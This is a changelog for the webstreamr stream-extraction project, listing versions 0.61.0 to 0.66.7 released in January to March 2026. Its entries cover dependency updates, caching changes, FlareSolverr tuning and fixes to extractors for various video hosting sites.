||||||
|
* add more limitations ([aa820e1](https://github.com/webstreamr/webstreamr/commit/aa820e1f6463d216ad12c44587b7134f424e1c9a))
|
||||||
|
* add more references ([38d0ac5](https://github.com/webstreamr/webstreamr/commit/38d0ac53059ed338718a759c76c425a2458fa5c2))
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **extractor:** use Dropload playlist headers also internally ([7dfc599](https://github.com/webstreamr/webstreamr/commit/7dfc599de900c34703e41eeea5c4e459da6380cf))
|
||||||
|
|
||||||
|
## [0.66.7](https://github.com/webstreamr/webstreamr/compare/v0.66.6...v0.66.7) (2026-03-02)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* **deps:** lock file maintenance ([#745](https://github.com/webstreamr/webstreamr/issues/745)) ([8ea6d4f](https://github.com/webstreamr/webstreamr/commit/8ea6d4fe3709067c1a2c30dcbf53567e10f102dc))
|
||||||
|
* **deps:** update dependency @types/node to v24.11.0 ([#744](https://github.com/webstreamr/webstreamr/issues/744)) ([282b3d0](https://github.com/webstreamr/webstreamr/commit/282b3d05b32bbcc6e2ac2137e3cb96974ee4ddfb))
|
||||||
|
* **deps:** update dependency axios to v1.13.6 ([#736](https://github.com/webstreamr/webstreamr/issues/736)) ([50e024a](https://github.com/webstreamr/webstreamr/commit/50e024a3ea1b2326fad7f2fcb59324d34a8561a2))
|
||||||
|
* **deps:** update dependency cacheable to v2.3.3 ([#737](https://github.com/webstreamr/webstreamr/issues/737)) ([168d028](https://github.com/webstreamr/webstreamr/commit/168d0280dcef9402815e353bc162af5bbf11af84))
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **extractor:** add referer as proxy header for Dropload ([bbb80f3](https://github.com/webstreamr/webstreamr/commit/bbb80f3cf0b918668149f5f6be1a2c38157a414b))
|
||||||
|
|
||||||
|
## [0.66.6](https://github.com/webstreamr/webstreamr/compare/v0.66.5...v0.66.6) (2026-02-25)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* **deps:** update dependency minimatch to v10.2.3 ([#715](https://github.com/webstreamr/webstreamr/issues/715)) ([ce4637e](https://github.com/webstreamr/webstreamr/commit/ce4637ea80adaee5f7c325defd9676533dfb884e))
|
||||||
|
* **deps:** update dependency minimatch to v10.2.4 ([#735](https://github.com/webstreamr/webstreamr/issues/735)) ([354c273](https://github.com/webstreamr/webstreamr/commit/354c2731d8ffe1948f5ff8647a7be668c6ce5cbd))
|
||||||
|
* **deps:** update dependency typescript-eslint to v8.56.1 ([#734](https://github.com/webstreamr/webstreamr/issues/734)) ([73ce5f3](https://github.com/webstreamr/webstreamr/commit/73ce5f372d5c2c2be39d1f36fa104afbdee41b77))
|
||||||
|
* **fetcher:** cache whole flaresolverr solution and also use status from it ([221fa98](https://github.com/webstreamr/webstreamr/commit/221fa989f4c51e13308a41e59dd088a2b0128e45))
|
||||||
|
|
||||||
|
## [0.66.5](https://github.com/webstreamr/webstreamr/compare/v0.66.4...v0.66.5) (2026-02-23)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* **deps:** lock file maintenance ([#730](https://github.com/webstreamr/webstreamr/issues/730)) ([6c10236](https://github.com/webstreamr/webstreamr/commit/6c102362fde48af0a6857f8ab66bc42385a3411a))
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **extractor:** remove StreamUp ([556b20e](https://github.com/webstreamr/webstreamr/commit/556b20e6690c251e86e10740b45ca0b4c614b222))
|
||||||
|
* **source:** add support for old XDMovies uploads without URL protector ([964e979](https://github.com/webstreamr/webstreamr/commit/964e9794695201367900ae6e4eda4ad439652222))
|
||||||
|
|
||||||
|
|
||||||
|
### Performance Improvements
|
||||||
|
|
||||||
|
* cache all non-error requests for 15m, tune axios caching ([ae10810](https://github.com/webstreamr/webstreamr/commit/ae10810caaebb909ffe5c51c37dc4a01184391a9))
|
||||||
|
|
||||||
|
## [0.66.4](https://github.com/webstreamr/webstreamr/compare/v0.66.3...v0.66.4) (2026-02-21)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* **deps:** lock file maintenance ([#708](https://github.com/webstreamr/webstreamr/issues/708)) ([ccdd460](https://github.com/webstreamr/webstreamr/commit/ccdd4600bba1041b5f2f2515c730856eb729991f))
|
||||||
|
* **deps:** lock file maintenance ([#718](https://github.com/webstreamr/webstreamr/issues/718)) ([d0f3e0f](https://github.com/webstreamr/webstreamr/commit/d0f3e0f9316770fe47d0395269dafe155fa1e17d))
|
||||||
|
* **deps:** update dependency @stylistic/eslint-plugin to v5.8.0 ([#709](https://github.com/webstreamr/webstreamr/issues/709)) ([1ae12fa](https://github.com/webstreamr/webstreamr/commit/1ae12fa0f790566193bfe42f3457fe9d4e976502))
|
||||||
|
* **deps:** update dependency @stylistic/eslint-plugin to v5.9.0 ([#723](https://github.com/webstreamr/webstreamr/issues/723)) ([bd160eb](https://github.com/webstreamr/webstreamr/commit/bd160eb32ce3719bfbebb468a5b2e45d9b4a35ce))
|
||||||
|
* **deps:** update dependency @types/node to v24.10.12 ([#707](https://github.com/webstreamr/webstreamr/issues/707)) ([3f35ecf](https://github.com/webstreamr/webstreamr/commit/3f35ecf6f3eab3c2c789a176be73d1a80539762d))
|
||||||
|
* **deps:** update dependency @types/node to v24.10.13 ([#717](https://github.com/webstreamr/webstreamr/issues/717)) ([524630d](https://github.com/webstreamr/webstreamr/commit/524630d671a74dd844ce0f629b4ccae1f88cf6e6))
|
||||||
|
* **deps:** update dependency axios to v1.13.5 ([#705](https://github.com/webstreamr/webstreamr/issues/705)) ([de13209](https://github.com/webstreamr/webstreamr/commit/de13209709071f8f5241f209a0dbc75232925c3c))
|
||||||
|
* **deps:** update dependency glob to v13.0.1 ([#698](https://github.com/webstreamr/webstreamr/issues/698)) ([72c191f](https://github.com/webstreamr/webstreamr/commit/72c191fbc10ed9524e698609736f01de0f236c43))
|
||||||
|
* **deps:** update dependency glob to v13.0.2 ([#711](https://github.com/webstreamr/webstreamr/issues/711)) ([eccea52](https://github.com/webstreamr/webstreamr/commit/eccea520b7cf8b997a694c6f4fded3cbc74b960a))
|
||||||
|
* **deps:** update dependency glob to v13.0.3 ([#714](https://github.com/webstreamr/webstreamr/issues/714)) ([65a0e57](https://github.com/webstreamr/webstreamr/commit/65a0e57ab9694648977822f73d89e641feabf893))
|
||||||
|
* **deps:** update dependency glob to v13.0.4 ([#720](https://github.com/webstreamr/webstreamr/issues/720)) ([245dcf6](https://github.com/webstreamr/webstreamr/commit/245dcf6007b6e02d767246463b224e18eecaccb8))
|
||||||
|
* **deps:** update dependency glob to v13.0.5 ([#721](https://github.com/webstreamr/webstreamr/issues/721)) ([fb354b4](https://github.com/webstreamr/webstreamr/commit/fb354b47461f58a25c245dcac65ca2de26302207))
|
||||||
|
* **deps:** update dependency glob to v13.0.6 ([#724](https://github.com/webstreamr/webstreamr/issues/724)) ([23db19d](https://github.com/webstreamr/webstreamr/commit/23db19d07317350d007b646c6915bb9fef60b165))
|
||||||
|
* **deps:** update dependency nodemon to v3.1.12 ([#725](https://github.com/webstreamr/webstreamr/issues/725)) ([5bfbd94](https://github.com/webstreamr/webstreamr/commit/5bfbd94e51e1c7291e12ac912578fcbf6bb39232))
|
||||||
|
* **deps:** update dependency nodemon to v3.1.13 ([#726](https://github.com/webstreamr/webstreamr/issues/726)) ([728ed7e](https://github.com/webstreamr/webstreamr/commit/728ed7ec0631d8de8df12626cdea857b1aad1059))
|
||||||
|
* **deps:** update dependency nodemon to v3.1.14 ([#728](https://github.com/webstreamr/webstreamr/issues/728)) ([3bb7a80](https://github.com/webstreamr/webstreamr/commit/3bb7a800e3662e0bd2ae31ec4b4a61eaee5dde6c))
|
||||||
|
* **deps:** update dependency typescript-eslint to v8.55.0 ([#710](https://github.com/webstreamr/webstreamr/issues/710)) ([7ec9c5b](https://github.com/webstreamr/webstreamr/commit/7ec9c5b1473e1e04203421ebbdd0c8d904744e99))
|
||||||
|
* **deps:** update dependency typescript-eslint to v8.56.0 ([#719](https://github.com/webstreamr/webstreamr/issues/719)) ([94f5c74](https://github.com/webstreamr/webstreamr/commit/94f5c7438d82f96edfb0692e55eb071642d008a9))
|
||||||
|
* **deps:** update eslint monorepo to v9.39.3 ([#727](https://github.com/webstreamr/webstreamr/issues/727)) ([26b6143](https://github.com/webstreamr/webstreamr/commit/26b6143152b8b15f2d79f747dbdb8cb48137a46a))
|
||||||
|
* **extractor:** adapt mixdrop host check ([34500ea](https://github.com/webstreamr/webstreamr/commit/34500ea3fc11376eb99a86a08c179137239d612d))
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **source:** handle new XDMovies URL protection ([cf8fb4c](https://github.com/webstreamr/webstreamr/commit/cf8fb4cfa47741ef8cb3fd214e7eff24ecc72375))
|
||||||
|
|
||||||
|
## [0.66.3](https://github.com/webstreamr/webstreamr/compare/v0.66.2...v0.66.3) (2026-02-03)
|
||||||
|
|
||||||
|
|
||||||
|
### Performance Improvements
|
||||||
|
|
||||||
|
* **fetcher:** simplify FlareSolverr integration by just using a request per host ([31da8aa](https://github.com/webstreamr/webstreamr/commit/31da8aa92c48618b0b52fd2194262685c947e02e))
|
||||||
|
|
||||||
|
## [0.66.2](https://github.com/webstreamr/webstreamr/compare/v0.66.1...v0.66.2) (2026-02-03)
|
||||||
|
|
||||||
|
|
||||||
|
### Performance Improvements
|
||||||
|
|
||||||
|
* **fetcher:** improve FlareSolverr integration ([ae5829d](https://github.com/webstreamr/webstreamr/commit/ae5829dcb0f8064e939c06d6457f891b1c7051c8))
|
||||||
|
|
||||||
|
## [0.66.1](https://github.com/webstreamr/webstreamr/compare/v0.66.0...v0.66.1) (2026-02-02)
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **source:** make XDMovies a fallback source to avoid hubcloud and many duplicates ([2612860](https://github.com/webstreamr/webstreamr/commit/2612860f1525a8f803e6d37aabdf5fd28b3d287f))
|
||||||
|
|
||||||
|
## [0.66.0](https://github.com/webstreamr/webstreamr/compare/v0.65.10...v0.66.0) (2026-02-02)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* **deps:** lock file maintenance ([#692](https://github.com/webstreamr/webstreamr/issues/692)) ([455d84d](https://github.com/webstreamr/webstreamr/commit/455d84d5b186ff916734977bd2b4cb0b355ca485))
|
||||||
|
|
||||||
|
|
||||||
|
### Features
|
||||||
|
|
||||||
|
* **source:** add XDMovies ([1f4d81b](https://github.com/webstreamr/webstreamr/commit/1f4d81bfc99066bfe6dafd3da7ffc8b13cdfffc1))
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **fetcher:** never block flaresolverr timeouts ([c23ffa3](https://github.com/webstreamr/webstreamr/commit/c23ffa382d862ced1a385cf36d895f75ad3b7e97))
|
||||||
|
|
||||||
|
## [0.65.10](https://github.com/webstreamr/webstreamr/compare/v0.65.9...v0.65.10) (2026-01-28)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* **deps:** lock file maintenance ([#686](https://github.com/webstreamr/webstreamr/issues/686)) ([0743111](https://github.com/webstreamr/webstreamr/commit/074311107a96cb3ed3c3dd2af6828a9a28bbe705))
|
||||||
|
* **deps:** update dependency axios to v1.13.3 ([#685](https://github.com/webstreamr/webstreamr/issues/685)) ([19a73b3](https://github.com/webstreamr/webstreamr/commit/19a73b38669a809a473e69872be5816807da5d13))
|
||||||
|
* **deps:** update dependency axios to v1.13.4 ([#689](https://github.com/webstreamr/webstreamr/issues/689)) ([5c87c5d](https://github.com/webstreamr/webstreamr/commit/5c87c5d9e2b52aeb1665212144d06cca7e6147a4))
|
||||||
|
* **deps:** update dependency typescript-eslint to v8.54.0 ([#687](https://github.com/webstreamr/webstreamr/issues/687)) ([8f8ecb8](https://github.com/webstreamr/webstreamr/commit/8f8ecb868e5fb1dc03073ff0b53d416087ca5437))
|
||||||
|
* **extractor:** add new VOE domain ([75c9509](https://github.com/webstreamr/webstreamr/commit/75c9509793f582fd566ece0694fc6961df5f7f61))
|
||||||
|
* **extractor:** increase Fsst TTL to 3 hours ([a876c9b](https://github.com/webstreamr/webstreamr/commit/a876c9b14489f713460e56a32bcf39a3e4897796))
|
||||||
|
* **extractor:** increase StreamEmbed TTL to 3d ([e52cee2](https://github.com/webstreamr/webstreamr/commit/e52cee212508a1945bc810bda5ce07c3322769a2))
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **extractor:** avoid caching results with empty meta, add some self-healing ([2ba6e4f](https://github.com/webstreamr/webstreamr/commit/2ba6e4fa358ca89aa522e1e97b4e2ed3ded7114a))
|
||||||
|
* **extractor:** ensure every result has a ttl ([db860c2](https://github.com/webstreamr/webstreamr/commit/db860c25c687b87bbec34bc72995ed47aa9115aa))
|
||||||
|
|
||||||
|
|
||||||
|
### Code Refactoring
|
||||||
|
|
||||||
|
* **extractor:** introduce internal type to reduce common code ([50a7e55](https://github.com/webstreamr/webstreamr/commit/50a7e5559bfa98305e006f8b7833aa2952d65029))
|
||||||
|
|
||||||
|
## [0.65.9](https://github.com/webstreamr/webstreamr/compare/v0.65.8...v0.65.9) (2026-01-23)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* **deps:** update dependency @keyv/sqlite to v4.0.8 ([#677](https://github.com/webstreamr/webstreamr/issues/677)) ([e5197fd](https://github.com/webstreamr/webstreamr/commit/e5197fdb8be200235514fe9de5d5e1ad98fb6a12))
|
||||||
|
* **deps:** update dependency @stylistic/eslint-plugin to v5.7.1 ([#682](https://github.com/webstreamr/webstreamr/issues/682)) ([622b1b3](https://github.com/webstreamr/webstreamr/commit/622b1b3bcc6890e5d926611184c90b392959caaa))
|
||||||
|
* **deps:** update dependency axios-cache-interceptor to v1.11.4 ([#678](https://github.com/webstreamr/webstreamr/issues/678)) ([d3db3fc](https://github.com/webstreamr/webstreamr/commit/d3db3fc5129e3450630d384c849cec4ae83158f8))
|
||||||
|
* **deps:** update dependency cheerio to v1.2.0 ([#683](https://github.com/webstreamr/webstreamr/issues/683)) ([43e16f5](https://github.com/webstreamr/webstreamr/commit/43e16f5bfa8447b22ae402928aa9b7c18ce14299))
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **extractor:** use full cached meta to avoid invalid cache states ([a90d7b1](https://github.com/webstreamr/webstreamr/commit/a90d7b1cad8501a2fa74aa8e457e2249bde4e2ae))
|
||||||
|
|
||||||
|
|
||||||
|
### Code Refactoring
|
||||||
|
|
||||||
|
* **cache:** extract clearCache function ([12ea135](https://github.com/webstreamr/webstreamr/commit/12ea135feb4d7f363a4eefb48588f063815eeaf0))
|
||||||
|
* **cache:** make code more dry and return in-memory cache for test env ([a5539bc](https://github.com/webstreamr/webstreamr/commit/a5539bcf595761a973fafda77db8741f8d0c35a8))
|
||||||
|
|
||||||
|
## [0.65.8](https://github.com/webstreamr/webstreamr/compare/v0.65.7...v0.65.8) (2026-01-20)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* add env var for one-time cache file deletion ([93fe1ae](https://github.com/webstreamr/webstreamr/commit/93fe1ae871a91b5a94b79a91e7b1e97497086c29))
|
||||||
|
* **deps:** update dependency typescript-eslint to v8.53.1 ([#674](https://github.com/webstreamr/webstreamr/issues/674)) ([7c88658](https://github.com/webstreamr/webstreamr/commit/7c886583c97ffa6edc92690c8412e7241a7b3f86))
|
||||||
|
* **extractor:** add lauradaydo.com to VOE ([3c979e7](https://github.com/webstreamr/webstreamr/commit/3c979e77cc3f6790e17bb3982012aad668c202db))
|
||||||
|
* npm audit fix ([28a83e2](https://github.com/webstreamr/webstreamr/commit/28a83e2f29ed6ca10a58ba61d9dcdee2d591b2ad))
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **extractor:** never use external URL results for lazy URL caching to avoid clashes ([1ddc8d9](https://github.com/webstreamr/webstreamr/commit/1ddc8d99d6443f36381b36fd7daaf69eec5b39c2))
|
||||||
|
* **extractor:** use MediaFlow Proxy for DoodStream ([#676](https://github.com/webstreamr/webstreamr/issues/676)) ([a00fa2c](https://github.com/webstreamr/webstreamr/commit/a00fa2c3d65ace25783532066e33d105a17b2853))
|
||||||
|
|
||||||
|
## [0.65.7](https://github.com/webstreamr/webstreamr/compare/v0.65.6...v0.65.7) (2026-01-19)
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* pass empty array instead of undefined if meta has no countries ([e8ed29e](https://github.com/webstreamr/webstreamr/commit/e8ed29eb9dea2bfe52fc2c2f07c8c245b08bee3e))
|
||||||
|
|
||||||
|
## [0.65.6](https://github.com/webstreamr/webstreamr/compare/v0.65.5...v0.65.6) (2026-01-19)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* **deps:** lock file maintenance ([#669](https://github.com/webstreamr/webstreamr/issues/669)) ([7c99e4d](https://github.com/webstreamr/webstreamr/commit/7c99e4d1c1d1195235b18639f21ac5d38d29e722))
|
||||||
|
* **deps:** update dependency @types/node to v24.10.9 ([#668](https://github.com/webstreamr/webstreamr/issues/668)) ([aeb15d8](https://github.com/webstreamr/webstreamr/commit/aeb15d86400c16d9594cd8e9f29fc2a366db69f7))
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **extractor:** use correct referer for rgshows, treat vidzee response as block ([d259587](https://github.com/webstreamr/webstreamr/commit/d25958749119c0d4600609197323dd8e5463d65d))
|
||||||
|
* log all unhandled errors inside next handlers, terminate app properly for unhandled error outside ([646e75d](https://github.com/webstreamr/webstreamr/commit/646e75d5f88b3083f8fe491a238d1b5e061909a9))
|
||||||
|
|
||||||
|
## [0.65.5](https://github.com/webstreamr/webstreamr/compare/v0.65.4...v0.65.5) (2026-01-18)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* add issue templates ([5fd6202](https://github.com/webstreamr/webstreamr/commit/5fd62028ce56e03750a4aa415760076cfed793ce))
|
||||||
|
* add priority for sorting, move VixSrc up and RgShows down ([7b708e2](https://github.com/webstreamr/webstreamr/commit/7b708e23851ce191439cbfbe625db07f6554ac8f))
|
||||||
|
* **deps:** update dependency cacheable to v2.3.2 ([#667](https://github.com/webstreamr/webstreamr/issues/667)) ([8aa1344](https://github.com/webstreamr/webstreamr/commit/8aa1344fa590b7ab1fdeecf43f5a55472186805a))
|
||||||
|
* **fetcher:** tune FlareSolverr timeouts and use other cookie variants too ([5b49dd0](https://github.com/webstreamr/webstreamr/commit/5b49dd07356efce2e542fde8bc1fdba7bdf39b32))
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **extractor:** only use bytes and height from meta cache to avoid clashes ([a9c281c](https://github.com/webstreamr/webstreamr/commit/a9c281c8c4c0d215dc78fedd6a34072e0aec9f31))
|
||||||
|
|
||||||
|
## [0.65.4](https://github.com/webstreamr/webstreamr/compare/v0.65.3...v0.65.4) (2026-01-16)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* extract HubDrive handling into own extractor re-using HubCloud for better caching, increase both TTLs ([986db2c](https://github.com/webstreamr/webstreamr/commit/986db2cc670dba5ce5c01e69d280803140bda24d))
|
||||||
|
* **extractor:** simplify cache expiration handling ([507b960](https://github.com/webstreamr/webstreamr/commit/507b96014c8cce1ebf4f836f084e6ce3af67acfb))
|
||||||
|
|
||||||
|
## [0.65.3](https://github.com/webstreamr/webstreamr/compare/v0.65.2...v0.65.3) (2026-01-16)
|
||||||
|
|
||||||
|
|
||||||
|
### Documentation
|
||||||
|
|
||||||
|
* add tmp mount for persistent cache to Docker run example ([231a12f](https://github.com/webstreamr/webstreamr/commit/231a12f685e56aeaab7fd377c4b953e992bcce7e))
|
||||||
|
* mention FlareSolverr support / env var ([e54b54b](https://github.com/webstreamr/webstreamr/commit/e54b54bfb3e13d417b52be001bcd646edfcf4bcf))
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **fetcher:** more FlareSolverr related stats, fix clearance cookie expiration ([4cfbf73](https://github.com/webstreamr/webstreamr/commit/4cfbf731b87873e70a76119f96984e2f1a958fdf))
|
||||||
|
|
||||||
|
## [0.65.2](https://github.com/webstreamr/webstreamr/compare/v0.65.1...v0.65.2) (2026-01-16)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* **deps:** update dependency @tsconfig/node24 to v24.0.4 ([#662](https://github.com/webstreamr/webstreamr/issues/662)) ([90c56de](https://github.com/webstreamr/webstreamr/commit/90c56debfe2e52812f16c9043da601404c6dfbbc))
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **fetcher:** make FlareSolverr work again, use single session and pass proxy ([59c8495](https://github.com/webstreamr/webstreamr/commit/59c84952ede26df776cc33c6da57e75ef9dfc258))
|
||||||
|
* remove leftover logging ([9cf9c44](https://github.com/webstreamr/webstreamr/commit/9cf9c4498c610cc84af4f5bf28967f169fda214a))
|
||||||
|
|
||||||
|
## [0.65.1](https://github.com/webstreamr/webstreamr/compare/v0.65.0...v0.65.1) (2026-01-15)
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* calculate fallback count properly, only use VidSrc when no other normal source provided results ([5ef6119](https://github.com/webstreamr/webstreamr/commit/5ef61192948b42240ea21ddde7940e881f921aaf))
|
||||||
|
* **extractor:** use lazy url/meta cache also for extractors without a ttl ([26278aa](https://github.com/webstreamr/webstreamr/commit/26278aadba170948107c909c9bf9426e6379b10a))
|
||||||
|
* **extractor:** use milliseconds instead of incorrect seconds for ttl ([17e70c1](https://github.com/webstreamr/webstreamr/commit/17e70c169b6e26ee674c2d608e4bef1bdbb3a08c))
|
||||||
|
* **source:** be resilient against missing heights in 4KHDHub ([79c8e7f](https://github.com/webstreamr/webstreamr/commit/79c8e7fc3255333ae011c12262410ef1739f304b))
|
||||||
|
|
||||||
|
## [0.65.0](https://github.com/webstreamr/webstreamr/compare/v0.64.0...v0.65.0) (2026-01-15)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* make cache immutable, add rate limit ([7593d3d](https://github.com/webstreamr/webstreamr/commit/7593d3d62e638168c9cfbab5cd71f514745ed42a))
|
||||||
|
|
||||||
|
|
||||||
|
### Features
|
||||||
|
|
||||||
|
* add fetcher http stats ([4cf08fc](https://github.com/webstreamr/webstreamr/commit/4cf08fc6d55dbcc1de551091d14f731265b89fd5))
|
||||||
|
* introduce fallback sources and mark VidSrc and RgShows as such ([bad1170](https://github.com/webstreamr/webstreamr/commit/bad1170421298ef6aa5f1c69a6214065fe184773))
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **extractor:** make VixSrc fall back to multi instead of it if language cannot be determined ([ce11a80](https://github.com/webstreamr/webstreamr/commit/ce11a80ba9d71def7f4eab29666eb606e1f5ad59))
|
||||||
|
|
||||||
|
## [0.64.0](https://github.com/webstreamr/webstreamr/compare/v0.63.1...v0.64.0) (2026-01-14)
|
||||||
|
|
||||||
|
|
||||||
|
### Features
|
||||||
|
|
||||||
|
* **extractor:** add back VidSrc ([9ee91df](https://github.com/webstreamr/webstreamr/commit/9ee91dff31636d6bf980614bfd0f375135c735e7))
|
||||||
|
* **source:** bring back VidSrc as multi source ([381fb89](https://github.com/webstreamr/webstreamr/commit/381fb89cfba8ff3c985ec2ddb11f65467f59c230))
|
||||||
|
|
||||||
|
## [0.63.1](https://github.com/webstreamr/webstreamr/compare/v0.63.0...v0.63.1) (2026-01-14)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* do not ignore errors on height guessing ([a189cdd](https://github.com/webstreamr/webstreamr/commit/a189cddd370c84cc22a93809827c8b988cbbc13f))
|
||||||
|
* **extractor:** make lazyUrlResultCache non-blocking and add stats ([9d6d138](https://github.com/webstreamr/webstreamr/commit/9d6d138fff8a2240f87b227a506fe3ecebd0f677))
|
||||||
|
* regularly clean-up expired items from sqlite cache ([51aa127](https://github.com/webstreamr/webstreamr/commit/51aa127a33f3a3b5b5cfc738e00cd9f682394ea8))
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **source:** make 4KHDHub title matching just a tiny bit less strict ([f7cf9da](https://github.com/webstreamr/webstreamr/commit/f7cf9da686e44a36229c590772f651bcd8955a85))
|
||||||
|
|
||||||
|
## [0.63.0](https://github.com/webstreamr/webstreamr/compare/v0.62.3...v0.63.0) (2026-01-12)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* **deps:** lock file maintenance ([#640](https://github.com/webstreamr/webstreamr/issues/640)) ([20ce2ac](https://github.com/webstreamr/webstreamr/commit/20ce2ac831f1204ffc4dad01d30c1cd00bfe4007))
|
||||||
|
* **deps:** update dependency @types/node to v24.10.7 ([#639](https://github.com/webstreamr/webstreamr/issues/639)) ([816123a](https://github.com/webstreamr/webstreamr/commit/816123ab83c6be300155f8013788d2473650b39a))
|
||||||
|
* **deps:** update dependency typescript-eslint to v8.53.0 ([#645](https://github.com/webstreamr/webstreamr/issues/645)) ([9e25618](https://github.com/webstreamr/webstreamr/commit/9e256186aa6270df59e98cb793f8a62578e30775))
|
||||||
|
|
||||||
|
|
||||||
|
### Features
|
||||||
|
|
||||||
|
* introduce generic meta cache ([f047287](https://github.com/webstreamr/webstreamr/commit/f047287fe90fba26c19831c1becf0e6d127ee020))
|
||||||
|
* introduce lazy extract for all non-HLS streams ([c6a6a70](https://github.com/webstreamr/webstreamr/commit/c6a6a70eafcff803ea4594037c7a39616a43a304))
|
||||||
|
|
||||||
|
## [0.62.3](https://github.com/webstreamr/webstreamr/compare/v0.62.2...v0.62.3) (2026-01-11)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* configure more Indian languages, add Tamil and Telugu to 4KHDHub ([05b80a2](https://github.com/webstreamr/webstreamr/commit/05b80a2d6367a459fe84879c9b318c416a7a4180))
|
||||||
|
* enable nonBlocking secondary cache writes ([1a99a9e](https://github.com/webstreamr/webstreamr/commit/1a99a9e99ba233c1144107cb3de32c8a5bd28073))
|
||||||
|
* **extractor:** return only best Fsst result ([f49769f](https://github.com/webstreamr/webstreamr/commit/f49769f3c4c2ca9cfca006a45d8a59c7bc3b68e8))
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **source:** RgShows is multi ([de79dc0](https://github.com/webstreamr/webstreamr/commit/de79dc014fc00e91f926a7d5b450f875acd2bcdb))
|
||||||
|
|
||||||
|
## [0.62.2](https://github.com/webstreamr/webstreamr/compare/v0.62.1...v0.62.2) (2026-01-10)
|
||||||
|
|
||||||
|
|
||||||
|
### Bug Fixes
|
||||||
|
|
||||||
|
* **extractor:** support non-HLS streams in RgShows ([d1fcd67](https://github.com/webstreamr/webstreamr/commit/d1fcd671c9646ef923ff7bd8bcb2fe7ad0d599b1))
|
||||||
|
|
||||||
|
## [0.62.1](https://github.com/webstreamr/webstreamr/compare/v0.62.0...v0.62.1) (2026-01-10)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* **source:** simplifly Frembed domain detection again ([559ee6e](https://github.com/webstreamr/webstreamr/commit/559ee6ed4e1d705dce358b54f98478317375562a))
|
||||||
|
|
||||||
|
## [0.62.0](https://github.com/webstreamr/webstreamr/compare/v0.61.0...v0.62.0) (2026-01-10)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* do not fail resolution if height guessing fails ([28a8a15](https://github.com/webstreamr/webstreamr/commit/28a8a1554d1c14eb85577e73191a325cc686f22a))
|
||||||
|
* remove all proxy black magic ([66fb0e2](https://github.com/webstreamr/webstreamr/commit/66fb0e2e6dc379a8d4347c576a3c15605745d257))
|
||||||
|
* **source:** improve 4KHDHub search matching ([b273e3a](https://github.com/webstreamr/webstreamr/commit/b273e3a71d09cf2dfd6fffa851e26ea398967878))
|
||||||
|
|
||||||
|
|
||||||
|
### Features
|
||||||
|
|
||||||
|
* **extractor:** add StreamUP ([#621](https://github.com/webstreamr/webstreamr/issues/621)) ([baf5c91](https://github.com/webstreamr/webstreamr/commit/baf5c9143d4dab4607de891f5b17184e89e027c7))
|
||||||
|
|
||||||
|
## [0.61.0](https://github.com/webstreamr/webstreamr/compare/v0.60.0...v0.61.0) (2026-01-09)
|
||||||
|
|
||||||
|
|
||||||
|
### Miscellaneous Chores
|
||||||
|
|
||||||
|
* **deps:** update dependency @stylistic/eslint-plugin to v5.7.0 ([#624](https://github.com/webstreamr/webstreamr/issues/624)) ([86eb3d4](https://github.com/webstreamr/webstreamr/commit/86eb3d498c3a147c14342c709986ba67fba47919))
|
||||||
|
